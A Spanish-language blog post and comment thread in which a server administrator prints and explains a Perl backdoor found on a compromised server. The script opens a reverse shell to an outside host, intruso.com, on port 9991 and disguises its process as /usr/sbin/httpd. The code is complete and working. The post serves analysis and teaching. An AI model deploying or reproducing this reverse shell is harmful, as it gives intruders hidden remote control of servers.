He encontrado un regalito mientras limpiaba uno de mis servidores …. Este script Perl (lo he limpiado y descifrado un poco para que se entienda mejor) se conecta contra intruso.com (logicamente otra máquina), al puerto 9991. Allí, con netcat a la escucha en ese puerto, recibe la shell inversa del servidor pirateado. En mi servidor, el proceso aparece como /usr/sbin/httpd. Angelitos…
#!/usr/bin/perl
use Socket;
#
$spread=»intruso.com»;
$port=»9991″;
$fake=»/usr/sbin/httpd»;
if ($ARGV[0]) {
$spread=$ARGV[0];
}
$proto = getprotobyname(‘tcp’) || die(«[x] Error: getprotobyname()nn»);
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die («[x] Error: Socket()n»);
if (!connect(SERVER, pack «SnA4x8», 2, $port, inet_aton($spread))) {
die(«[x] Failed!..n»);
}
if (!fork( )) {
$0=$fake.» »x16;;
open(STDIN,»>&SERVER»);
open(STDOUT,»>&SERVER»);
open(STDERR,»>&SERVER»);
system(«echo [x] Uname ; uname -a ; echo ; echo [x] Uptime ; uptime ; echo ; echo [x] Id ; id ; echo»);
#
exec {‘/bin/sh’} $fake . « » x4;
#
exit(0);
}
print «[x] shell ejecutada…n»;
Me podrías explicar que es eso de «shell inversa del servidor pirateado.», y a que te refieres con que funciona en nuestro servidor como httpd, que no es ese el apache, me has dejado abrumado con esa introducción al script.
Solo entiendo la parte donde colocas los parámetros, creas un falso httpd y la parte donde muestras lo que se a ejecutado o aparentemente se a ejecutado.
Normalmente para conseguir una shell en un servidor remoto, el usuario debe de iniciar la conexión, por telnet (NO recomendado) o por ssh . Sin embargo, el script Perl de este post, se ejecuta en el servidor y «envía» la shell al cliente (es el servidor el que inicia el proceso). El cliente sólo deja a la escucha netcat en su máquina y recibe la shell.
El script Perl consigue esto redirigiendo la salida estándar, entrada estándar y salida de error estándar al socket que tiene abierto:
open(STDIN,”>&SERVER”);
open(STDOUT,”>&SERVER”);
open(STDERR,”>&SERVER”);
Ahora ejecuta un comando y envía la salida por ese socket. Y a continuación ejecuta una shell (/bin/sh) y la engancha con el socket. El cliente con el netcat abierto y escuchando en el puerto 9991 verá primero la salida del comando echo y después un prompt invitándole a teclear lo que quiera (como si hubiera abierto él mismo una sesión ssh contra el servidor).
Que belleza, es música para mis cerebro… jejejeje, gracias por la explicacion, eso de mandar la salida a donde se te ocurra es fascinante, e estado jugando con eso, pero no se me planteo alguna vez mandarlo al socket… sin mas que hablar te agradezco la explicacion.